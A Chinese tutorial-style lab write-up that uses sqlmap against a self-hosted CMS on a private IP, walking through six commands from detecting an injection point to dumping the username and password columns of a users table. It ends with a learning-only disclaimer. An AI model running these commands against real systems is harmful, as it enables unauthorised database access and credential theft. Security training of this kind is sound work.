记一次sqlmap的案例实验

文章目录

    • 环境搭建
    • Sql map参数
    • 第一步 检测注入点
    • 第二步 列出所有数据库的名字
    • 第三步 列出当前数据库的名字
    • 第四步 列出表名
    • 第五步列出所有的字段名
    • 第六步 列出字段内容
    • 免责声明

环境搭建

网站搭建–window server 2008 phpstudy
测试机 kali虚拟机
记一次sqlmap的案例实验_第1张图片

Sql map参数

参数 含义
-u “url” 检测注入点
–dbs 列出所有数据库的名字
–current-db 列出当前数据库的名字
-D 指定一个数据库
–tables 列出表名
-T 指定表名
–columns 列出所有的字段名
-C 指定字段
–dump 列出字段内容

第一步 检测注入点

[sqlmap -u http://192.168.139.136/cms/show.php?id=33]
记一次sqlmap的案例实验_第2张图片

第二步 列出所有数据库的名字

[sqlmap -u http://192.168.139.136/cms/show.php?id=33 --dbs]
记一次sqlmap的案例实验_第3张图片

第三步 列出当前数据库的名字

[sqlmap -u http://192.168.139.136/cms/show.php?id=33 --current-db]
记一次sqlmap的案例实验_第4张图片

第四步 列出表名

[sqlmap -u http://192.168.139.136/cms/show.php?id=33 -D cms --tables]
记一次sqlmap的案例实验_第5张图片

第五步列出所有的字段名

[sqlmap -u http://192.168.139.136/cms/show.php?id=33 -D cms --tables -T cms_users --columns]
记一次sqlmap的案例实验_第6张图片

第六步 列出字段内容

[sqlmap -u http://192.168.139.136/cms/show.php?id=33 -D cms -T cms_users -C "username,password" --dump]
记一次sqlmap的案例实验_第7张图片

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!

你可能感兴趣的:(web渗透)